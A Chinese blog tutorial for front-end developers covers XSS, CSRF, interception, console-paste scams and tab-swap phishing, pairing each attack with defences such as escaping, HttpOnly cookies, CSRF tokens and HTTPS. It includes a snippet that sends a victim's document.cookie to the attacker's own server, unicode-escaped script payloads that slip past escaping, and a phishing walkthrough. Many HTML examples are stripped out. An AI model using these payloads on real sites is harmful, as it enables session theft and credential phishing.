摘要：所以今天，就和大家一起聊一聊前端的安全那些事兒。我們就聊一聊前端工程師們需要注意的那些安全知識。殊不知，這不僅僅是違反了的標(biāo)準(zhǔn)而已，也同樣會被黑客所利用。

歡迎大家收看聊一聊系列，這一套系列文章，可以幫助前端工程師們了解前端的方方面面（不僅僅是代碼）：
https://segmentfault.com/blog...

隨著互聯(lián)網(wǎng)的發(fā)達(dá)，各種WEB應(yīng)用也變得越來越復(fù)雜，滿足了用戶的各種需求，但是隨之而來的就是各種網(wǎng)絡(luò)安全的問題。作為前端工程師的我們也逃不開這個問題。所以今天，就和大家一起聊一聊WEB前端的安全那些事兒。這里不去說那些后端的攻擊(SQL注入、DDOS攻擊等)，畢竟整個WEB安全是一門很深的學(xué)問，不是我一篇文章就能完全說完的。我們就聊一聊前端工程師們需要注意的那些安全知識。

其實(shí)真正為了玩的心態(tài)去進(jìn)行黑網(wǎng)站的人，還是少數(shù)。多數(shù)攻擊還是有利益的成分在里面的。我模糊的記得，以前聽騰訊的工程師說過一句話，大概是這樣的：開發(fā)者不可能確保自己的應(yīng)用絕對無法被攻擊，但是只要攻擊我們的時候，黑客花費(fèi)的成本遠(yuǎn)比他可以獲取的利益大得多，黑客就不會去攻擊。防范強(qiáng)如支付寶、QQ等產(chǎn)品，也都曾被報過漏洞，看來防御不是絕對的，我們只能想辦法讓我們的應(yīng)用更加安全。

百度百科中如是說道：
XSS是一種經(jīng)常出現(xiàn)在web應(yīng)用中的計算機(jī)安全漏洞，它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
其實(shí)在web前端方面，可以簡單的理解為一種javascript代碼注入。舉個例子，我們有個社交網(wǎng)站，允許大家相互訪問空間，網(wǎng)站可能是這樣做的：

    
        
    
    
        

            用戶名：
        
        

            第一條狀態(tài)：侯醫(yī)生的狀態(tài)1
        
        

            第二條狀態(tài)：侯醫(yī)生的狀態(tài)2
        
        

            第三條狀態(tài)：侯醫(yī)生的狀態(tài)3
        
    

運(yùn)行時，展現(xiàn)形式如圖1.1.1所示：

圖1.1.1

但是，如果你的用戶名，起名稱的時候，帶上script標(biāo)簽?zāi)?？我們知道，瀏覽器遇到html中的script標(biāo)簽的時候，會解析并執(zhí)行標(biāo)簽中的js腳本代碼，那么如果你的用戶名稱里面含有script標(biāo)簽的話，就可以執(zhí)行其中的代碼了。
代碼如下，效果如圖1.1.2

alert("侯醫(yī)生");";
?>

圖1.1.2
如果你將自己的用戶名設(shè)定為這種執(zhí)行腳本的方式，再讓別人去訪問你的連接的話，就可以達(dá)到在他人web環(huán)境中，執(zhí)行自己腳本的效果了。我們還可以使用ajax，將其他用戶在當(dāng)前域名下的cookie獲取并發(fā)送到自己的服務(wù)器上。這樣就可以獲取他人信息了。比如，剛剛咱們使用的不是alert而是，如下的代碼：

$.ajax({
    url: "自己的服務(wù)器",
    dataType: "jsonp",
    data: {"盜取的用戶cookie": document.cookie}
});

再在各個QQ群中，散播自己的空間，引誘別人來訪問。就可以拿到用戶在這個域名下的cookie或者其他隱私了。

目前來講，最簡單的辦法防治辦法，還是將前端輸出數(shù)據(jù)都進(jìn)行轉(zhuǎn)義最為穩(wěn)妥。比如，按照剛剛我們那個例子來說，其本質(zhì)是，瀏覽器遇到script標(biāo)簽的話，則會執(zhí)行其中的腳本。但是如果我們將script標(biāo)簽的進(jìn)行轉(zhuǎn)義，則瀏覽器便不會認(rèn)為其是一個標(biāo)簽，但是顯示的時候，還是會按照正常的方式去顯示，代碼如下，效果如圖1.2.1

alert("侯醫(yī)生");";
?>


    
        
    
    
        
        

            用戶名：
        
        

            第一條狀態(tài)：侯醫(yī)生的狀態(tài)1
        
        

            第二條狀態(tài)：侯醫(yī)生的狀態(tài)2
        
        

            第三條狀態(tài)：侯醫(yī)生的狀態(tài)3
        
    

圖1.2.1
其實(shí)，我們再來看看網(wǎng)頁源碼，如圖1.2.2

圖1.2.2
雖然顯示出來是有script標(biāo)簽的，但是實(shí)際上，script標(biāo)簽的左右尖括號(><)，均被轉(zhuǎn)義為html字符實(shí)體，所以，便不會被當(dāng)做標(biāo)簽來解析的，但是實(shí)際顯示的時候，這兩個尖括號，還是可以正常展示的。

1.3.1 append的利用

上一小節(jié)我們防住了script標(biāo)簽的左右尖括號，藍(lán)鵝，聰明的黑客們還是想出了好辦法去破解，我們知道，直接給innerHTML賦值一段js，是無法被執(zhí)行的。比如，

$("div").innerHTML = "";

但是，jquery的append可以做到，究其原因，就是因?yàn)閖query會在將append元素變?yōu)閒ragment的時候，找到其中的script標(biāo)簽，再使用eval執(zhí)行一遍。jquery的append使用的方式也是innerHTML(如圖1.3.1.1)。而innerHTML是會將unicode碼轉(zhuǎn)換為字符實(shí)體的。

圖1.3.1.1
利用這兩種知識結(jié)合，我們可以得出，網(wǎng)站使用append進(jìn)行dom操作，如果是append我們可以決定的字段，那么我們可以將左右尖括號，使用unicode碼偽裝起來，就像這樣--"u003cscriptu003ealert("okok");"。接下來轉(zhuǎn)義的時候，偽裝成u003的<會被漏掉，append的時候，則會被重新調(diào)用。代碼如下，效果如圖1.3.1.2

    
        
        
    
    
        

            用戶名：
        
        

            第一條狀態(tài)：侯醫(yī)生的狀態(tài)1
        
        

            第二條狀態(tài)：侯醫(yī)生的狀態(tài)2
        
        

            第三條狀態(tài)：侯醫(yī)生的狀態(tài)3
        
        
版權(quán)所有：
        
    

圖1.3.1.2
我們可以看到，雖然進(jìn)行了轉(zhuǎn)義，注入的代碼還是會再次被執(zhí)行。

1.3.2 img標(biāo)簽的再次利用

再來一種攻擊方式，img標(biāo)簽的小貼士。
這里我們需要重溫一個小知識點(diǎn)-----img標(biāo)簽，在加載圖片失敗的時候，會調(diào)用該元素上的onerror事件。我們正可以利用這種方式來進(jìn)行攻擊。我們先來看一下，正常的用戶分享圖片的行為怎么做。代碼如下，展示如圖1.3.2.1

alert("侯醫(yī)生");";
    $imgsrc="http://img5.imgtn.bdimg.com/it/u=1412369044,967882675&fm=11&gp=0.jpg";
?>


    
        
    
    
        

            用戶名：
        
        

            第一條狀態(tài)：侯醫(yī)生的狀態(tài)1，這個是圖片：
            
        
        

            第二條狀態(tài)：侯醫(yī)生的狀態(tài)2
        
        

            第三條狀態(tài)：侯醫(yī)生的狀態(tài)3
        
    

圖1.3.2.1
但是，如果這張圖片的地址我們換種寫法呢？

我們再來看看拼裝好的html源碼，如圖1.3.2.2：

圖1.3.2.2
這時的源碼已經(jīng)變?yōu)?-src為空，但是onerror的時候，執(zhí)行注入代碼。我們刷新查看頁面，就會發(fā)現(xiàn)，代碼注入已經(jīng)成功，如圖1.3.2.3所示：

圖1.3.2.3
看官你可能會說了，再轉(zhuǎn)義唄。是的，老套路，我們接著進(jìn)行轉(zhuǎn)義---你這個毛病呀，就算治好了(老中醫(yī)口吻)。

恩，總算是恢復(fù)正常了，如圖1.3.2.4所示。

圖1.3.2.4

1.3.3 組合使用

但是......但是，道高一尺魔高一丈，雖然防住了img標(biāo)簽直接的輸出，但是我們的攻擊點(diǎn)又來了，我們將1.3.1中所說的方式與1.3.2中所說的方式進(jìn)行結(jié)合，進(jìn)行一種組合式攻擊，我們之前說過，innerHTML賦值的script標(biāo)簽，不會被執(zhí)行，但是innerHTML賦值一個img標(biāo)簽是可以被識別的。我們把img標(biāo)簽的左右尖括號，使用unicode進(jìn)行偽裝，讓轉(zhuǎn)義方法認(rèn)不出來，即使innerHTML也可以利用上了，代碼如下，效果如圖1.3.3.1

    
        
    
    
        

            用戶名：
        
        

            第一條狀態(tài)：侯醫(yī)生的狀態(tài)1
        
        

            第二條狀態(tài)：侯醫(yī)生的狀態(tài)2
        
        

            第三條狀態(tài)：侯醫(yī)生的狀態(tài)3
        
        
版權(quán)所有：
        
    

圖1.3.3.1
這樣，innerHTML也可以派上用場，再次突破防線。

看來，我們需要再次進(jìn)行防御升級了，我們將輸出的字符串中的反斜杠進(jìn)行轉(zhuǎn)義(json轉(zhuǎn)義)。這樣，就不會被當(dāng)做unicode碼的開頭來被處理了。代碼如下：

document.getElementById("username_info").innerHTML = ;

生成處的源碼，如圖1.4.1

圖1.4.1
效果如圖1.4.2所示

圖1.4.2

都說了道高一尺魔高一丈了，你以為防得住后端輸出，黑客大大們就沒辦法攻擊了嗎。我們有的時候，會有一些習(xí)慣，拿URL上的get參數(shù)去構(gòu)建網(wǎng)頁。好比說，直接拿url上的用戶名去展示啦，拿url上的一些回跳地址之類的。但是url上的參數(shù)，我們是無法提前對其進(jìn)行轉(zhuǎn)義的。接下來，來個例子，代碼如下：

    
        
        
    
    
        

            用戶名：
        
        

            第一條狀態(tài)：侯醫(yī)生的狀態(tài)1
        
        

            第二條狀態(tài)：侯醫(yī)生的狀態(tài)2
        
        

            第三條狀態(tài)：侯醫(yī)生的狀態(tài)3
        
        
版權(quán)所有：
        
    

上述代碼，滿足了一個很正常的需求，解開URL中的一個參數(shù)，并將其渲染至頁面上。但是，這里面存在一個風(fēng)險，如果黑客在URL的這個參數(shù)中，加入js代碼，這樣便又會被執(zhí)行(如圖1.5.1所示)。

圖1.5.1

像這種從url中獲取的信息，筆者建議，最好由后端獲取，在前端轉(zhuǎn)義后再行輸出，代碼如下，效果如圖1.6.1

圖1.6.1
使用url中的參數(shù)的時候要小心，更不要拿URL中的參數(shù)去eval。

如果不幸中招了，黑客的js真的在我們的網(wǎng)頁上執(zhí)行了，我們該怎么辦。其實(shí)，很多時候，我們的敏感信息都是存儲在cookie中的（不要把用戶機(jī)密信息放在網(wǎng)頁中），想要阻止黑客通過js訪問到cookie中的用戶敏感信息。那么請使用cookie的HttpOnly屬性，加上了這個屬性的cookie字段，js是無法進(jìn)行讀寫的。php的設(shè)置方法如下：

如圖1.7.1，我們的cookie已經(jīng)種上了，并且有了httpOnly標(biāo)識

圖1.7.1
如圖1.7.2，我們通過js無法獲取cookie中的設(shè)定有httpOnly的字段：

圖1.7.2
話說回來，其實(shí)還有很多xss的升級攻擊方式，同學(xué)們有興趣的話，可以自己去研究一下。(不要干壞事兒哦)

CSRF攻擊在百度百科中的解釋是：
CSRF（Cross-site request forgery跨站請求偽造，也被稱為“One Click Attack”或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對網(wǎng)站的惡意利用。
其實(shí)就是網(wǎng)站中的一些提交行為，被黑客利用，你在訪問黑客的網(wǎng)站的時候，進(jìn)行的操作，會被操作到其他網(wǎng)站上(如：你所使用的網(wǎng)絡(luò)銀行的網(wǎng)站)。

2.2.1 要合理使用post與get

通常我們會為了省事兒，把一些應(yīng)當(dāng)提交的數(shù)據(jù)，做成get請求。殊不知，這不僅僅是違反了http的標(biāo)準(zhǔn)而已，也同樣會被黑客所利用。
比如，你開發(fā)的網(wǎng)站中，有一個購買商品的操作。你是這么開發(fā)的：

而商品ID圖個省事兒，就使用了url中的get參數(shù)。買商品的話，如圖2.2.1.1所示

圖2.2.1.1
那么，黑客的網(wǎng)站可以這樣開發(fā)：

這樣的話，用戶只需要訪問一次黑客的網(wǎng)站，其實(shí)就相當(dāng)于在你的網(wǎng)站中，操作了一次。然而用戶卻沒有感知。如圖2.2.1.2所示：

圖2.2.1.2
所以，我們?nèi)粘５拈_發(fā)，還是要遵循提交業(yè)務(wù)，嚴(yán)格按照post請求去做的。更不要使用jsonp去做提交型的接口，這樣非常的危險。

2.2.2 xsrf攻擊升級

如果你使用了post請求來處理關(guān)鍵業(yè)務(wù)的，還是有辦法可以破解的。我們的業(yè)務(wù)代碼如下：

黑客代碼如下：

    
        
        
    
    
        點(diǎn)我看相冊
        
        

            
        
        
    

效果如圖2.2.2.1

圖2.2.2.1
點(diǎn)擊后，用戶進(jìn)行了提交，卻連自己都不知情。這種情況如何防御呢？
最簡單的辦法就是加驗(yàn)證碼，這樣除了用戶，黑客的網(wǎng)站是獲取不到用戶本次session的驗(yàn)證碼的。但是這樣也會降低用戶的提交體驗(yàn)，特別是有些經(jīng)常性的操作，如果總讓用戶輸入驗(yàn)證碼，用戶也會非常的煩。
另一種方式，就是在用訪問的頁面中，都種下驗(yàn)證用的token，用戶所有的提交都必須帶上本次頁面中生成的token，這種方式的本質(zhì)和使用驗(yàn)證碼沒什么兩樣，但是這種方式，整個頁面每一次的session，使用同一個token就行，很多post操作，開發(fā)者就可以自動帶上當(dāng)前頁面的token。如果token校驗(yàn)不通過，則證明此次提交并非從本站發(fā)送來，則終止提交過程。如果token確實(shí)為本網(wǎng)站生成的話，則可以通過。
代碼如下，防御效果如圖2.2.2.2

圖2.2.2.2
如上圖，并沒有攜帶本站每次session生成的token，則提交失敗。
本站的網(wǎng)站form，則都會自動攜帶本站生成的token

    
        
        
    
    
        

            商品名稱：
            
            
        
        
    

再次使用本站的網(wǎng)頁進(jìn)行提交，則通過，如圖2.2.2.3所示：

圖2.2.2.3
當(dāng)然，上面的只是例子，具體的token生成，肯定是要隨著session與用戶ID去變的，如果各位看官覺得自己的網(wǎng)站也需要加個token，請自行百度，進(jìn)行深入的學(xué)習(xí)。

很多的時候，我們的網(wǎng)站不是直接就訪問到我們的服務(wù)器上的，中間會經(jīng)過很多層代理，如果在某一個環(huán)節(jié)，數(shù)據(jù)被中間代理層的劫持者所截獲，他們就能獲取到使用你網(wǎng)站的用戶的密碼等保密數(shù)據(jù)。比如，我們的用戶經(jīng)常會在各種飯館里面，連一些奇奇怪怪的wifi，如果這個wifi是黑客所建立的熱點(diǎn)wifi，那么黑客就可以結(jié)果該用戶收發(fā)的所有數(shù)據(jù)。這里，建議站長們網(wǎng)站都使用https進(jìn)行加密。這樣，就算網(wǎng)站的數(shù)據(jù)能被拿到，黑客也無法解開。

如果你的網(wǎng)站還沒有進(jìn)行https加密的化，則在表單提交部分，最好進(jìn)行非對稱加密--即客戶端加密，只有服務(wù)端能解開。這樣中間的劫持者便無法獲取加密內(nèi)容的真實(shí)信息了。

不知道各位看官有沒有注意到天貓官網(wǎng)控制臺的警告信息，如圖4.1所示，這是為什么呢？因?yàn)橛械暮诳蜁T騙用戶去往控制臺里面粘貼東西（欺負(fù)小白用戶不懂代碼），比如可以在朋友圈貼個什么文章，說:"只要訪問天貓，按下F12并且粘貼以下內(nèi)容，則可以獲得xx元禮品"之類的，那么有的用戶真的會去操作，并且自己隱私被暴露了也不知道。

圖4.1
天貓這種做法，也是在警告用戶不要這么做，看來天貓的前端安全做的也是很到位的。不過，這種攻擊畢竟是少數(shù)，所以各位看官看一眼就行，如果真的發(fā)現(xiàn)有的用戶會被這樣攻擊的話，記得想起天貓的這種解決方案。

釣魚也是一種非常古老的攻擊方式了，其實(shí)并不太算前端攻擊?？僧吘故琼撁婕墑e的攻擊，我們也來一起聊一聊。我相信很多人會有這樣的經(jīng)歷，QQ群里面有人發(fā)什么兼職啦、什么自己要去國外了房子車子甩賣了，詳情在我QQ空間里啦，之類的連接。打開之后發(fā)現(xiàn)一個QQ登錄框，其實(shí)一看域名就知道不是QQ，不過做得非常像QQ登錄，不明就里的用戶們，就真的把用戶名和密碼輸入了進(jìn)去，結(jié)果沒登錄到QQ，用戶名和密碼卻給人發(fā)過去了。
其實(shí)這種方式，在前端也有利用。下面，我們就來試試如果利用前端進(jìn)行一次逼真的釣魚。
1 首先，我們在xx空間里分享一篇文章，然后吸引別人去點(diǎn)擊。效果如圖5.1.1

    
        
    
    
        

        當(dāng)前你在xx空間
        
        
侯博士的分享
        

        咱們班當(dāng)年班花，現(xiàn)在長這樣：
        
        點(diǎn)我查看
        
    

圖5.1.1
2 接著，我們在cheat.php這個網(wǎng)站上面，將跳轉(zhuǎn)過來的源網(wǎng)頁地址悄悄的進(jìn)行修改。效果如圖5.2.1

    
        
        
    
    
        你想看的信息：
        xxxxxxxxxxxxxx
        xxxxxxxxxxxxxx
        
    

于是，在用戶訪問了我們的欺騙網(wǎng)站后，之前的tab已經(jīng)悄然發(fā)生了變化，我們將其悄悄的替換為了釣魚的網(wǎng)站，欺騙用戶輸入用戶名、密碼等。

圖5.2.1
3 我們的釣魚網(wǎng)站，偽裝成XX空間，讓用戶輸入用戶名與密碼，如圖5.3.1

圖5.3.1
這種釣魚方式比較有意思，重點(diǎn)在于我們比較難防住這種攻擊，我們并不能將所有的頁面鏈接都使用js打開。所以，要么就將外鏈跳轉(zhuǎn)的連接改為當(dāng)前頁面跳轉(zhuǎn)，要么就在頁面unload的時候給用戶加以提示，要么就將頁面所有的跳轉(zhuǎn)均改為window.open，在打開時，跟大多數(shù)釣魚防治殊途同歸的一點(diǎn)是，我們需要網(wǎng)民們的安全意識提高。

開發(fā)時要提防用戶產(chǎn)生的內(nèi)容，要對用戶輸入的信息進(jìn)行層層檢測

要注意對用戶的輸出內(nèi)容進(jìn)行過濾(進(jìn)行轉(zhuǎn)義等)

重要的內(nèi)容記得要加密傳輸(無論是利用https也好，自己加密也好)

get請求與post請求，要嚴(yán)格遵守規(guī)范，不要混用，不要將一些危險的提交使用jsonp完成。

對于URL上攜帶的信息，要謹(jǐn)慎使用。

心中時刻記著，自己的網(wǎng)站哪里可能有危險。

畢竟web安全是個很大的面，如果需要了解，還是需要進(jìn)行專門的學(xué)習(xí)的。希望這篇聊一聊，可以讓各位開發(fā)者的網(wǎng)站變得更安全。

各位看官自己的網(wǎng)站中，是不是還留有很多安全漏洞呢？請各位看完本篇文章之后，回想一下，自己的網(wǎng)站是否還有哪些地方存在安全隱患。還有，自己可否為自己團(tuán)隊里面的同學(xué)制定一下開發(fā)時的安全規(guī)范呢？

接下來的一篇文章，我將會和讀者們一起聊聊web圖片那些事兒，不要走開，請關(guān)注我.....

如果喜歡本文請點(diǎn)擊下方的推薦哦，你的推薦會變?yōu)槲依^續(xù)更文的動力。

以上內(nèi)容僅代表筆者個人觀點(diǎn)，如有意見請通知筆者。